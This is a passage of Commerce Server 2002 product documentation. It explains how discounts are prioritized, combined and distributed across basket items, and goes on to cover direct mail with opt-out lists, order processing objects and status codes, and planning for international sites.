Buy one case of juice, get the second case at a 50 percent discount | 10
10 percent discount on each product in the beverage category | 20

If a user buys four cases of juice, the discounts are applied as follows:

  • Case 1: No discount
  • Case 2: 50 percent discount
  • Case 3: No discount
  • Case 4: 50 percent discount, only if no limit was placed on the "Buy one get second half price" discount. The 50 percent discount would apply again instead of the 10 percent discount because you gave it a higher priority.

If a discount item receives multiple offers and the offers have the same priority and are the same discount type (percentage off discount or dollar off discount), the discounts will be combined. For example, in the following scenario, two discounts will be combined into a single 30 percent discount because they have the same priority (10) and the same discount type (percentage off at the item level).

For example, you create two discounts and assign each a priority 10 as shown in the following table.

Discount | Priority
Buy a telephone, get 10 percent off a radio. | 10
Buy a video game, get 20 percent off a radio. | 10

The two discounts will be combined into a single 30 percent discount because they have the same priority (10) and the same discount type (percentage off at the item level).

User Basket:

Product | Price | Discount | Adjusted total
Telephone | 40 |  | 40
Video game | 50 |  | 50
Radio | 30 | 9 (30*.30) | 21
 |  | Total | 111

Dollar off discounts work the same way. The discounts will be combined if the discount priorities are the same.

If discounts have the same priority, but are not the same discount type, then the OrderDiscount pipeline component determines which discount type to apply first. For information about the OrderDiscount pipeline component, see How Discounts Are Applied Programmatically.


Discount Conditions

The discount condition (Buy) specifies whether an award will be offered to the user. The award is based on what the user buys. The Buy condition must be true for the discount to apply. The condition is evaluated for each item in the order form. A condition can be an expression specifying that the discount applies to a particular item, or it can specify that it applies to all items. The Buy condition includes a Buy Anything property, a Condition type, a Value, and a Catalog expression.

  • Buy Anything specifies that if there is a product in the basket that can be awarded, the discount will always apply. For example, buy anything, and get a free belt. The Buy Anything property also specifies that an item in the basket will not be used up as a condition.
    • If the basket is empty, Buy Anything discounts will always qualify for an award. “Buy Anything” is the same as “Buy any product of quantity zero (0).”
  • Condition type determines the type of Buy condition. There are two Buy conditions for a discount: quantity and value. You can apply discounts based on the quantity that users purchase, or on the value of the purchase. For example, you can create a discount that applies when a user buys three cases of juice (quantity), or a discount that applies when a user buys $20.00 worth of juice (value).
  • Condition value specifies the dollar or unit value of the condition.
  • Catalog expression is an expression based on the product catalog. The catalog expression evaluates against each item in the user basket. The expression must evaluate to “True” at least once for the discount to apply. Following are examples of catalog expressions in the Condition (Buy) column, and the awards in the Award (Get) column.
    Condition (Buy) | Award (Get)
    Buy one pair of jeans | Get one shirt at 50 percent off
    Buy two of any product in the Digital Camera category | Get 30 percent off on a roll of film
    Buy one of any product in the Digital Camera category
    OR
    Buy a Camcorder     		Get 20 dollars off on a radio

The discount is not guaranteed to apply since it is not known whether the award for the discount is available.

Both AND and OR cumulative conditions are allowed in the Catalog Expression builder, but only the OR condition is supported for discounts. The AND condition is not supported and should not be used.


Discount Awards

The discount award (Get) identifies what the user receives. The discount award contains a target type, a value type, and a catalog expression.

  • Target type defines the award target. There are three types of awards that can be given: item level discounts, order level discounts, and shipping discounts. The only shipping discount Commerce Server 2002 supports is free shipping. A site developer must make custom changes to your site for percentage off and dollar off variations of the shipping discount.
  • Value type defines the award value. The award values are percent off discounts and dollar off discounts.

    You can create zero (0) dollar off discounts, however, Commerce Server 2002 does not support zero (0) percentage off discounts.

  • Catalog expression applies the discount award only if the expression evaluates to “True”. The Catalog expression is based on the product catalog. The discount catalog expression is evaluated against each item in the user basket. The expression must evaluate to “True” at least once for the discount to apply.

    The following table shows a few sample catalog expressions.

    Condition (Buy) | Award (Get) | Offer
    Buy one pair of jeans | Get one Lee Turtleneck T-shirt | At 50 percent off
    Buy an order over 500 dollars | Get any pant in the Calvin Clean Blue Jean category | Free
    Buy one Camcorder model 123 Get one Flash Memory card
    OR
    two Camcorder stands     		At 40 percent off

Both AND and OR cumulative conditions are allowed in the Catalog Expression builder, but only the OR condition is supported for discounts. The AND condition is not supported and should not be used.

There are multiple ways you can award the user. Commerce Server supports three types of awards:

  • Item level discounts apply to specific products in the basket. You can apply multiple discounts to a single line item or to a single order.
  • Order level discounts apply to all products in a shopping basket.
  • Shipping discounts apply to the shipping charges that users pay to have the items they order delivered to their address. The only shipping discount Commerce Server 2002 supports is free shipping. A site developer must make custom changes to your site for percentage off and dollar off variations of the shipping discount.

This section contains:

  • Order Subtotal Discount
  • Free Shipping


Order Subtotal Discount

The Order Subtotal Discount applies discounts to the order subtotal. The amount of the subtotal is distributed across the line items in the basket. To handle refunds properly, order level discounts should be distributed across all line items. Commerce Server 2002 distributes percentage off discounts and dollar off discounts.

For example, a 10 percent discount is offered to preferred shoppers on the following order:

  • Four books at $25 each = $100

If the discount is only applied to the final price, the receipt will look like the following:

Item | Amount
Book #1 | 25.00
Book #2 | 25.00
Book #3 | 25.00
Book #4 | 25.00
Subtotal | 100.00
Discount | (10.00)
Total | 90.00

In this example, a shopper who returns one of the books will get a full refund of 25 dollars. However, the shopper did not pay 25 dollars for each book. The shopper actually paid 22.50 for each book, because of the 10 percent discount. For this reason, order level discounts should be distributed across all items in an order.

Distributing Percentage Off Discounts

The following example illustrates how percentage off discounts are distributed across the line items in the basket. In this example a 10 percent discount is offered to preferred shoppers on the following order:

  • Four books at $25 each = $100
Item | Amount
Book #1 | 25.00
Discount | (2.50)
Subtotal | 22.50
Book #2 | 25.00
Discount | (2.50)
Subtotal | 22.50
Book #3 | 25.00
Discount | (2.50)
Subtotal | 22.50
Book #4 | 25.00
Discount | (2.50)
Subtotal | 22.50
Total | 90.00

The final sales price does not change. However, the adjusted price of each item is recorded at 22.50, which properly reflects the discount. In this case, a shopper who returns an item will not be overpaid on the refund.

Percentage discounts round to two decimal points. Contact your site developer if you want to change the number of decimal places.

Distributing Dollar Off Discounts

To distribute dollar off discounts, the amount of each item discount is calculated and the discount is distributed across all items in the basket. Dollar off discounts use the following algorithm:

ItemDiscount = Truncate(((ItemAdjustedPrice/OrderAdjustedSubtotal)*DiscountAmount),2);

Which is equivalent to the following:

Truncate the value: ItemAdjustedPrice/OrderAdjustedSubtotal to two decimal places; where ItemAdjustedPrice is the price of the item after it is adjusted for discounts that were applied before the order-level discount; and the OrderAdjustedSubtotal is the total order subtotal after it is adjusted for discounts that were applied before the order-level discount.

Note

  • Dollar discounts round to two decimal points.

The following example illustrates how dollar off discounts are distributed across the line items in the basket. A $25.00 discount is offered to preferred users on the following order:

  • 2 shirts at $30.00 each
  • 2 pairs of pants at $50.00 each
  • 1 belt at $10.00

Following is the user basket before the $25.00 discount is applied:

User Basket

Item | Quantity | Unit Price | Extended Price
Shirt | 2 | 30.00 | 60.00
Pants | 2 | 50.00 | 100.00
Belt | 1 | 10.00 | 10.00
Total |  |  | 170.00

Following is the user basket after the $25.00 discount is applied:

User Basket

Item | Unit Price | Discount | Adjusted Price
First shirt | 30.00 | 4.41 | 25.59
Second shirt | 30.00 | 4.41 | 25.59
First pair of pants | 50.00 | 7.35 | 42.65
Second pair of pants | 50.00 | 7.35 | 42.65
Belt | 10.00 | 1.47 | 8.52
Total | 170.00 | 24.99 | 145.00

Note that the sum of the discounts equals $24.99, rather than the total $25.00 discount for the order.

Following are two approaches you can use to correct the rounding problem:

Approach 1:

Approach 1 applies the difference to the last discountable item in the items list:

If (CurrentItem = LastItemThatCanReceiveADiscount)

If (TotalDiscountApplied < AwardAmount)

ItemDiscount = (AwardAmount – TotalDiscountApplied)

Note

  • Since the values are truncated, the TotalDiscountApplied will always be <=AwardAmount.

Approach 2:

Approach 2 calculates the following:

  1. Calculate the lowest price based on the decimal places. For example, if decimal places is equal to two, then the lowest price possible is $0.01.
  2. Start adding the "lowest price" to the discounts of the items, starting with the most expensive item first. If two items have the same "most expensive price", award it to the item that has the "lowest basket index".
  3. Subtract this amount from the discount error.
  4. Repeat steps 2 and 3 until the discount error becomes zero (0).

The following shows how the discount of $25.00 is applied using Approach 1.

  • 2 shirts at $30.00 each
  • 2 pairs of pants at $50.00 each
  • 1 belt at $10.00

User Basket

Item | Unit Price | Discount | Adjusted Price
First shirt | 30.00 | 4.41 | 25.59
Second shirt | 30.00 | 4.41 | 25.59
First pair of pants | 50.00 | 7.35 | 42.65
Second pair of pants | 50.00 | 7.35 | 42.65
Belt | 10.00 | 1.48 | 8.52
Total | 170.00 | 25.00 | 145.00

In the above example, the belt is the last item that can receive a discount. Therefore, the extra $.01 (discount error) is added to the belt award for a total of $1.48 (1.47+.01), which brings the discount to the $25.00 total for the order.

The following is an additional example of how dollar off discounts are applied using Approach 1.

  • Buy anything
  • Get an order-level discount of $5.00

User Basket

Basket Index | Item | Unit Price | Discount | Adjusted Price
1 | Item 1 | 7.50 | 2.49 | 5.01
2 | Item 1 | 7.50 | 2.49 | 5.01
3 | Item 3 | 0.01 | 0.00 | 0.01
Total |  | 15.01 | 4.98 | 10.03

In this example, note that the sum of the discounts equals $4.98, rather than the total $5.00 discount for the order.

The following shows how the discount in the example above will be applied using Approach 1.

User Basket

Basket Index | Item | Unit Price | Discount | Adjusted Price
1 | Item 1 | 7.50 | 2.49 | 5.01
2 | Item 1 | 7.50 | 2.51 | 4.99
3 | Item 3 | 0.01 | 0.00 | 0.01
Total |  | 15.01 | 5.00 | 10.01

In the above example, Item 1 in Basket Index 2 is the last item that can receive a discount (Item 3 cannot be discounted by $0.02 because its price is only $0.01). Therefore, the extra $.02 (discount error) is added to Item 1 in Basket Index 2 for a total of $2.51, which brings the discount to the $5.00 total for the order.

Following are some inferences with using Approach 1:

  • Basket Indexes 1 and 2 contain the same Item number (with the same price). However, they have different discounts.
  • No discount is applied to Item 3.
  • Because Item 1 and Item 2 are the same price, if Item 1 is returned, do you refund the user $5.01 or $4.99?

The following shows how the discount in the example above will be applied using Approach 2.

User Basket

Basket Index | Item | Unit Price | Discount | Adjusted Price
1 | Item 1 | 7.50 | 2.50 | 5.00
2 | Item 1 | 7.50 | 2.50 | 5.00
3 | Item 3 | 0.01 | 0.00 | 0.01
Total |  | 15.01 | 5.00 | 10.01

The adjusted price of each item is recorded, and the user will receive the $5.00 discount. Both Items in Basket Index 1 and 2 receive the same discount, so if one of the Items is returned, the refund will be the same for both Items.

Note

  • In the above example, the OrderDiscountApply pipeline component is used to apply the discount. For information about the OrderDiscountApply component, see the "OrderDiscount" topic in the Commerce Server 2002 Help Programmer’s Reference.

See Also

Processing Discounts

Components of a Discount

Creating a Discount


Free Shipping

The Free Shipping property applies free shipping as a discount award to all products ordered. Shipping discounts apply to an order at the cumulative level, as opposed to an item specific level, which makes them similar to an order level discount. A site developer must make custom changes to your site for percentage off and dollar off variations of the shipping discount. For information about applying shipping discounts to an order, in the Programmer’s Reference, see ShippingDiscountAdjust.

In the order_discount table, which is used to store all discounts, there are two discount properties: b_disc_order_level_discount, and u_disc_special_offer_type. These two discount properties are used to differentiate between order level discounts and shipping discounts.

Multiple Ship-to Addresses

Commerce Server 2002 supports multiple ship-to addresses. For example, a user can buy a number of items, and have them shipped to multiple addresses.

Item | Quantity | Unit Price | Extended Price | Ship-to address
Silver pendant | 2 | 30 | 60 | Joe User 1234 NE 34th St Redmond, WA 98052
Toy race car | 2 | 50 | 100 | Joe User 4930 Maple Ave Dallas, TX 75235
Total |  |  | 160 |

Shipping Discount and Interaction Policies

The following example explains how interaction policies of the shipping discount and the order level discount are linked to each other.

Discount | Condition (Buy) | Award (Get) | Priority
Discount 1 | Buy an order with subtotal greater than 300 dollars | Get an order level discount of 20 dollars | 10
Discount 2 | Buy a Camcorder | Get free shipping | 20

The following is in the user basket:

Item | Quantity | Unit price | Extended price
Camcorder | 1 | 200.00 | 200.00
Digital Camera | 1 | 300.00 | 500.00
Total |  |  | 700.00

Discount 1 will apply first because it has a priority of 10. The shipping discount is a cumulative discount, so the shipping discount and the order level discount are linked by using Commerce Server common discount interaction policies. Therefore, Discount 1 blocks any further awards, and Discount 2 will not be applied.

See Also

ShippingDiscountAdjust


Discount Limits

You can limit the number of discounts that can be applied to a basket. If the discount limit has a value of zero (0), discounts are unlimited: the discount can apply multiple times, assuming the condition for the discount is met multiple times in the basket. The discount limit is a basket limit and does not apply across baskets. For example, if a user checks out, returns to the site, and buys the same discounted items then the user will receive the same discount again.


Disjoint Discounts

Disjoint discounts are discounts that apply if the Get and Buy clauses refer to the same product. This property determines whether to reuse the condition item as an award for the discount. The two disjoint discounts are:

  • Apply offer on Get product alone. The buy condition cannot be reused as an award. Used by business managers to moderately promote a product.
  • Apply offer on both Get and Buy products. The buy condition can be reused as an award. Used by business managers to aggressively promote a product.

The following discount will yield different results depending on the disjoint discount you select. The basket results are displayed for each disjoint discount:

Condition: Buy two Unisex shirts.

Award: Get one Unisex shirt at 40 percent off.

Disjoint Discount: Apply offer on Get product alone.

The following basket shows a 40 percent discount off the third unisex shirt in the basket. Because the Apply offer on Get product alone disjoint discount property was selected, the condition item could not be reused as the award. The first and second shirts were used as the condition, and the 40 percent discount is awarded to the third unisex shirt. There are no conditions or awards on the fourth shirt.

Condition: Buy two Unisex shirts.

Award: Get one Unisex shirt at 40 percent off.

Disjoint Discount: Apply offer on both Get and Buy products.

The following basket shows a 40 percent discount off the second and fourth unisex shirts in the basket. Because the Apply offer on both Get and Buy products disjoint discount property was selected, the condition items were reused as the awards. The first and second unisex shirts in the basket were used as a condition, and the second shirt was awarded the 40 percent discount. The third and fourth shirts in the basket were used as a condition, and the fourth shirt was awarded the 40 percent discount.


Click Required Discounts

If the Click Required discount property is “True”, the user must click on the advertisement associated with the discount to be eligible for the discount. This property links the advertising and merchandising features of your business.


Discount Eligibility Requirements

Eligibility requirements specify to whom a discount applies. Eligibility requirements are target expressions. If the target expression evaluates to “True” the discount is applied. For example, if favorite sport = mountain climbing, apply the discount.

Eligibility requirements are created by using context properties, such as User Object, Targeting Context, and Evaluator Intrinsics (current data, current time). By creating a target expression, you can target the users who will receive the discount. For example, you can target users who like music, and offer them a 20 percent discount on a jazz CD.

You can also use target groups to determine the users to whom you will display a discount.


Multiple Discounts

You can create multiple discounts by using discount interaction policies. Discount interaction policies are rules that determine whether an item can receive multiple discounts or multiple awards. Commerce Server supports four different discount interaction policies.

  • A condition item can be reused as another condition item. Instructs Commerce Server that a condition item used to qualify for an offer can be reused to qualify for another offer.
  • A condition item can be reused as an award item. Instructs Commerce Server that an item used to qualify for a discount can still be eligible to receive an offer.
  • An award item can be reused as a condition item. Instructs Commerce Server that an item upon which an award was given can still be used to qualify for other offers.
  • An award item can be used as another award item. Instructs Commerce Server that an item upon which an award was given is eligible to receive additional offers, for example, an item can receive multiple awards.

The four discount interaction policies can all be selected at the same time. Together they provide you with significantly more control over how discounts are applied.


Processing Discounts

The discounts Content Selection pipeline and the OrderDiscount pipeline component are used to process discounts. You use the discounts CSF pipeline to advertise the most appropriate discount to a user. The OrderDiscount component in the Basket pipeline is used to apply discounts to the shopping basket.

  • Discounts Content Selection pipeline checks the start date and end date of the discounts, and then adjusts the scores in the list of possible discounts. It ensures that the discounts that are most relevant to the current user receive the highest priority.
  • The OrderDiscount pipeline component first applies the requirements to the available discounts. Depending on the discount involved, it uses the user profile and context profile information to evaluate target expressions. In addition, if a discount requires a click, it checks the list of campaign item IDs for every item clicked. Next, the OrderDiscount pipeline processes each item, testing the conditions and awards. Discounts are applied from highest to lowest priority. If two discounts have the same priority, properties other than the priority determine the order in which the discounts are applied.


Direct Mail Concepts

You create direct mail to distribute e-mail message ads to a targeted group of users. The objective is to achieve a high response rate from the mailings. You can send personalized e-mail messages from a Web page, or non-personalized messages from a flat text file. You can create direct mail messages that include attachments, such as pictures, discounts, or URLs. The Direct Mailer service is designed to send bulk personalized e-mail messages to millions of users.

This section contains:

  • Overview of Creating Direct Mail
  • Opt Out Lists
  • Processing Direct Mail


Overview of Creating Direct Mail

You create direct mail to distribute e-mail message ads to a targeted group of users. The objective is to achieve a high response rate from the mailings. You can send personalized e-mail messages from a Web page, or non-personalized messages from a flat text file. You can create direct mail messages that include attachments, such as pictures, discounts, or URLs. The Direct Mailer service is designed to send bulk personalized e-mail messages to millions of users.

To set up direct mail you use the Campaign Manager module in Business Desk. Direct mail is processed by the Direct Mailer service, a powerful engine that can send a large number of e-mails very quickly.

To create direct mail, you perform the following steps:

  • Create the message. To create personalized e-mail messages your site developer must first create ASP pages with the personalized text, and then add them to the Web server. The site developer must give you the URL for the location of the ASP pages. To create a non-personalized message, you can type the text in the flat text file, for example, by using Notepad.
  • Generate a list of recipients. You can generate a list of recipients for the direct mail campaign by using the powerful analysis tools in Commerce Server. For example, by using the Reports module in Business Desk, you can run a report against the data in the Data Warehouse to obtain a list of specific users. You can then export the resulting list to the List Manager. Or you can use the Predictor resource to generate a list of users in a population segment, and then export that list of users to the List Manager. After a list has been exported to the List Manager, it is available to the Direct Mailer.

    You cannot use target groups to send direct mail directly to user e-mail addresses.

  • Create and schedule the direct mail campaign. Use the Campaign Manager module to specify the name of the campaign, the name of the list of recipients, the start time and date of the campaign item, and the URL (for personalized messages) or static file where Direct Mailer will receive the message body.

See Also

Mailing Lists

Importing a Mailing List

Opt Out Lists

Processing Direct Mail


Opt Out Lists

Direct Mailer supports an opt-out feature. For direct mail jobs running as part of a campaign item, individual recipients can request to opt out of a direct mail campaign item. The opt-out ASP page is designed to allow users to add themselves to an opt-out list.

The sample opt-out ASP page is used in conjunction with the sample ServiceReminder ASP page, which is used to create Direct Mailer content. When implemented, this ASP file will send out personalized e-mail messages reminding each of your customers to come to your Web site to view new products. The ASP file also includes an opt-out link if they would like to be removed from your mailing list.

The developer that authors the ASP page for the Direct Mailer jobs from the Web server can provide links to an opt-out ASP page, which the recipient can use to either opt out from all site mailings or from the direct mail campaign item by clicking the appropriate link. When a Direct Mailer job running as part of a campaign item is executed, Direct Mailer checks for the presence of the site level opt-out list and the campaign item level opt-out list. If either list exists, its items are subtracted from the original mailing list, and the resulting list acts as the new mailing list.

See Also

Overview of Creating Direct Mail

Processing Direct Mail


Processing Direct Mail

Direct Mailer supplies a command line interface that you use to create, run, monitor, and delete Direct Mailer jobs, as well as to perform job startup and recovery tasks. To configure properties on Direct Mailer, you use Commerce Server Manager.

Direct Mailer performs the following tasks:

  • Manages direct mail jobs.
  • Constructs personalized and non-personalized message bodies.
  • Formats e-mail message headers.
  • Sets the code-page value (language) and converts message bodies to the correct message type: MIME Encapsulation of Aggregate HTML Documents (MHTML), Multipurpose Internet Mail Extensions (MIME), or text.
  • Sends e-mail messages to recipients.

The Direct Mailer pipeline is used to process lists of recipients. You can add new components to the pipeline, integrate the components with line-of-business systems, or replace them with components supplied by third parties.

The following figure shows how, if you are using Commerce Server 2002 Enterprise Edition, you can collect information about users visiting your site, import that data to the Data Warehouse, run reports that identify who you want to target in a direct mail campaign, and then export that data to the List Manager. When you set up your direct mail campaign, the direct mail job is run by the Direct Mailer service.

A figure about processing direct mail

See Also

Business Desk Campaigns

Running Direct Mailer

Working with Pipelines

Extending the Content Selection Framework

Targeting and Personalization Concepts


Order Management Concepts

When a user buys a product from your Web site, Commerce Server creates an order. The order is processed by the Commerce Server Order Processing Pipeline (OPP), which divides order processing into stages that describe a category of work. A typical OPP might include a shopper information stage, a payment stage, and a shipping stage. For example, the product description and the shipping address for the user are retrieved from the Commerce Server database, and the amount of tax is computed. The order information and the total price are stored in the Transactions tables in the Commerce Server database.

This section contains:

  • Processing Orders
  • OrderGroup, OrderForm, and OrderGroupManager Objects
  • Order Status Codes


Processing Orders

The following figure shows the components of the Order Processing Pipeline and how they interact when a user adds an item to a basket, and then proceeds to check out, receives a discount, and saves the order to the transactions tables in the Commerce Server database (or Orders database in a distributed environment).

A figure showing the components of the Order Processing Pipeline

If your site uses BizTalk Server, the order can be sent to a vendor to be filled. For detailed information about using BizTalk Server with Commerce Server, see "Integrating with BizTalk Server" in Commerce Server 2002 Help.

You use the Commerce Server Pipeline Editor to modify the Order Processing pipeline to meet the needs of your site. For example, you can add third-party credit credit components that validate the credit card.


OrderGroup, OrderForm, and OrderGroupManager Objects

The OrderGroup object is used in Commerce Server 2002 to store, access, and compute basket and order information for a site. The OrderGroupManager object works in conjunction with the OrderGroup object, providing search and other management operations for orders.

The OrderForm object is a dictionary that contains individual entries, and entries that are Dictionary and SimpleList objects. The structure makes it possible to present a detailed summary of all or part of one or more shopping sessions to the user or to the Order Processing pipeline (OPP). This summary includes data such as name, address, and credit-card information, as well as product information related to the purchase.

The following diagram shows the relationship of the OrderGroup object and the OrderForm object to each other and to the Addresses and LineItem dictionaries.

A figure showing the relationship of the OrderGroup object and the OrderForm object.

An OrderGroup object describes order information. It groups order forms, and provides aggregate operations and aggregate totals. The OrderGroup object links to one or more OrderForm objects, and to one or more Address dictionaries.

The OrderForm object specifies header information for an order, such as the shipping total, the tax total, and other data required to process the order. The OrderForm object references one or more LineItem dictionaries, which describe the specific products to be purchased. The Addresses dictionary specifies billing and shipping address information for purchase orders. Each OrderForm object typically specifies a billing_address_id value, and each line item specifies a shipping_address_id value.

The following figure shows the components of the OrderForm object.

A figure showing the components of the OrderForm object.

The OrderGroup object often contains just one OrderForm object, but when you want your users to purchase items from different suppliers, the multiple OrderForm object feature of the OrderGroup object enables you to retain distinctions between suppliers while allowing a unified shopping experience for the user.

The following objects commonly occur within the OrderGroup object:

  • Address dictionaries. These dictionaries specify billing and shipping information for purchase orders.
  • OrderForm objects. These objects contain a SimpleList object called Items that contains the Item dictionaries holding line item information.
  • Items SimpleLists. The Items SimpleLists contain the Item dictionaries.
  • Item dictionaries. These dictionaries specify the contents of the line items in an order form. An OrderForm object, representing the information used to process the order form, references zero or more Item dictionaries through the Items list.


Order Status Codes

The OrderGroup object represents a purchasing unit, and has a specific status. This status is stored in OrderGroup.value("order_status_code"), indicating whether the OrderGroup object represents a Basket (1), a Saved Order or Template (2), a New Order (4), and so on.

You can create new custom status codes by using the Orders modules in Commerce Server Business Desk. For example, you can create status values as Approved, Cancelled, and so on. The status codes for these values must be set to numbers that are powers of 2 (for example, 8, 16, 32).

The following order status codes are provided by default:

  • Basket status. The Basket status indicates an OrderGroup object that is in the process of being assembled and reviewed before the order is submitted. This status code is 1.
  • Template status (Saved Order status). The purpose of the Template status is to facilitate repeat purchases, such as in a grocery store site where the same items are ordered week after week. This status is equivalent to the Saved Order status. This status code is 2.
  • New Order status. The New Order status indicates an order that has been submitted for further processing (usually by the user clicking the Submit Order button). This status code is 4.


International Solution Concepts

The Internet is a global marketplace. This means that your e-commerce business is international even if you have no intention of conducting business internationally. In order to make your Commerce Server 2002 Web site global, you must determine how to present your business to international users.

When users browse your site, the characters they enter in their browser are determined by the regional options they have set on their computer. These settings control the characters recorded by keyboard entries, as well as the representation of special symbols such as currency and decimal delimiters. For example, typing the ; key on a computer with an English keyboard with the input locale set to English (United States) will result in a semicolon. On the same computer with an English keyboard if you change the input locale setting to Spanish (Mexico), typing the ; key results in an ñ (eña).

Planning for your international users requires development of a system for reconciling the various locale settings. You need a way to present data and accept input using the locale settings that are appropriate to the user. In Commerce Server 2002, the Product Catalog System is designed to support multiple languages in a single catalog. For additional information about development techniques for international solutions, see Developing an International Site.

The process of internationalizing a site is described in this section through a fictional scenario. Although this scenario illustrates many of the principles for developing an international solution, it is by no means the only possible approach to international solution development.

This section contains:

  • Feature Summary for International Solutions. Describes the feature summary of developing an international solution.
  • Development, Administrative, and Management Tasks for International Solutions. Describes a summary of tasks that you may need to complete to create your international solution.
  • International Scenario Summary. Describes a fictional business scenario summary to create a single site for all international users.
  • International Transactions. Describes a fictional business scenario of how two types of currency conversion can be applied to support transactions that involve two or more currencies.
  • International Catalogs. Describes a fictional business scenario of how you can apply multilingual and multicurrency features to deliver the appropriate catalog content.
  • International Campaigns. Describes a fictional business scenario of how two areas of the Commerce Server Targeting System can be applied to display culturally appropriate campaign information.
  • International Shipping. Describes a fictional business scenario of how delivering shipping information in a particular locale can be implemented.


Feature Summary for International Solutions

You build an international solution with Commerce Server 2002 by:

  • Modifying your existing site code.
  • Creating a new site, designed to be international from the start.
  • By using the International Retail Site (Retail2002) as a starting point.
  • Configuring site resources and establishing business processes.

In all these cases, the Sitelets in the Commerce Server 2002 SDK and the International Solution Site provide examples and guidance for you to base your work on.

The Sitelets in the SDK provide examples of how to modify site code. For information about the Commerce Server 2002 Sitelets, see ASP.NET Samples.

The Retail 2002:International Retail Site provides a starting point for new international implementations. Starting with this site will be the quickest way to get a fully functional international site into production.

The following table summarizes many aspects of developing an international solution. The table is grouped by Commerce Server systems, and describes the various features that are affected by international issues.

System | Feature | Summary information
Product Catalog | Multilingual catalogs | You can share a common product catalog that has information in multiple languages by adding multilingual properties for every language you support on your site. For example, you can define a multilingual property for a product description. The Display Name field for this property would contain "Description" in English, and, in German, "Beschreibung" (which means "Description" in German).
Multicurrency catalogs You can define a base currency per catalog. To price products in other currencies apply a pricing rule or add extra currency properties.

Note

  • The MONEY data type that is used for currency supports only four decimal places.
Profiling | Site terms | You need to create unique site terms for each language you support. For example, if you create a site term for "Favorite Sport" in English, you must also create a site term "Deporte Favorito" in Spanish, if you are supporting Spanish on your Web site. This information is found in the Commerce Server 2000 Resource Kit in the section about the "Sweet Forgiveness" sample international site implementation. The online documentation is at: http://go.microsoft.com/fwlink/?LinkId=5595.
Profile Properties You can create multilingual profile properties by adding custom attributes to property definitions. For example, if you have a "City" property for your English address profile, you could create a custom attribute with the following values:
  • Name: City_Fr
  • Display Name: Ville (City in French)
  • Description: Votre ville (Your city in French)
  • Value: Paris
  • The Profiling System supports Unicode for its data store.
Business Analytics Data Warehouse You can create a single Commerce Server Data Warehouse that imports data from multiple language-specific applications. For example, you can import transaction data from a French application and a Japanese application into a single Commerce Server Data Warehouse.

In order to create a single site that supports international users by using multiple code page settings (for example, both Western European and Japanese), you must set your log file code page and URL encoding settings to UTF-8. Windows 2000 only supports ANSI code pages when logging. UTF-8 requires Windows .NET Server. See http://go.microsoft.com/fwlink/?LinkId=6728 for more information.

Note

  • Setting this value to UTF-8 will result in unpredictable behavior in browsers that do not support UTF-8.
Analysis You can generate reports that summarize data from multiple languages and currencies. For example, if you have a site with multiple language-specific applications you can generate the Top Requested Pages report, which is supplied with Commerce Server, to summarize the most popular pages across all language groups. The language settings for the user’s browser will affect the appearance of the data in the report.

Note

  • Commerce Server provides no pre-defined reports that summarize data on a per language basis.
Predictor | All applications in a multilingual site can share a common Predictor resource.
Targeting | Ads | You must create separate advertising content for each language.
Discounts | You must create separate discounts for each language.
Direct Mail | You must create separate Direct Mail campaigns for each language.
Business Process Pipelines Order Processing It is possible that the converted line items displayed on the site do not match the total cost billed to the user because exchange rates change over time. Prices must be marked as approximate when displayed.

Commerce Server 2002 assumes that the prices for each item in the cart are in the same currency.

The Commerce Server discounts feature is not designed to handle multiple currencies.

If you want to use ads and discounts in multiple languages, you must recreate each ad/discount in the appropriate language.

See Also

Development, Administrative, and Management Tasks for International Solutions

International Transactions

International Catalogs

International Campaigns

International Shipping


Development, Administrative, and Management Tasks for International Solutions

The following table summarizes the development, administrative, and management tasks that you may need to complete to create or update your international solution. Also provided are links for learning more about the tasks.

To learn about | See
Developing an international catalog | ASP-Based Catalog Sitelet, Code to filter catalog data for a particular language
Supporting multicurrency transactions | ASP-Based Order Sitelet, Code to set the language properties for a user profile
Displaying international shipping methods | ASP-Based Order Sitelet, Code to display shipping methods for a particular language
Displaying locale-specific advertising and discount information | ASP-Based Discount Sitelet
Establishing configuration settings for alternate languages and currencies for your site | Configuring the App Default Config Resource
Creating business processes locale-specific catalogs | Creating a Multilingual Catalog, Converting Prices to an Alternate Currency
Creating business processes for international shipping methods | Shipping Methods

In addition, the Retail 2002: International Retail Site provides a working, intergrated site which can be used as the foundation for a new international site.

See Also

Feature Summary for International Solutions

International Scenario Summary

International Transactions

International Catalogs

International Campaigns

International Shipping


International Scenario Summary

In the fictional scenarios used in this section, Contoso, Ltd. is a large international trading company. The company has both retail and wholesale operations and they have developed Web-based interfaces to each of these areas of their business. Their Web sites are www.contosoretail.com and www.contososupplier.com.

Contoso needed to create a single Web site for all of their retail users to browse, regardless of their language and currency settings. They decided to provide content in five languages (English, Spanish, French, German, and Japanese). The following list describes some of the specific steps Contoso took in order to create a single site for their international users:

  • Create a single catalog that contains multilingual and multicurrency properties for all of their products. Establish a localization process for updating these properties.
  • Develop discount messages, advertising content, and direct mail messages appropriate for each of the five languages.
  • Develop shipping methods for each of the five languages.
  • Add code to their default.asp page to determine if the user is using a browser that does not support UTF-8 encoding. Since Contoso requires their users to use a browser that supports UTF-8 encoding, if they detect such a browser, they will redirect the user to a page where the user can download a browser that supports UTF-8 encoding.
  • Add code to their site to retrieve the language of the user and currency preference from the user profile.
  • Add strings to an XML file for each of the five languages, and site code to retrieve strings in the language that matches the user profile property for language and currency preferences.

See Also

International Transactions

International Catalogs

International Campaigns

International Shipping


International Transactions

Commerce Server 2002 provides enhanced support for processing transactions that require currency conversion. Specifically, Commerce Server adds support for the following two types of currency conversion:

  • Spot rate conversions
  • Fixed rate conversions

The following fictional business scenarios provide some context for understanding how these two types of currency conversion can be applied to support transactions that involve two or more currencies.

This section contains:

  • Business Scenarios for Enabling International Transactions


Business Scenarios for Enabling International Transactions

Being able to handle transactions in multiple currencies is rapidly becoming an important feature in the e-commerce marketplace. Business-to-business (B2B) transactions may involve a buying organization doing business in a number of transaction currencies, a supplier using multiple transaction currencies, and retail transactions where the buyer will only do business in a single currency, but the supplier is capable of handling multiple currency formats.

There are several types of multicurrency transactions:

  • Supply chain/B2B exchange using a negotiated conversion for all currencies
  • Supply chain/B2B exchange using market-based conversion for all currencies
  • Supplier/B2C (business-to-consumer) using a market-based conversion for a single currency

In the following fictional scenarios, Contoso, Ltd., is based in the United States and maintains all of their financial accounts in U.S. dollars. Contoso conducts business with suppliers who trade in currencies other than U.S. dollars, and has retail users who make purchases on their Web site using a variety of currencies. Each of these types of international transactions (supplier and retail) have their own requirements. For example, retail users only make purchases using a credit card. The currency conversion rate for the user is determined when the institution that provided the credit card converts the transaction. This is an example of a "spot rate" conversion.
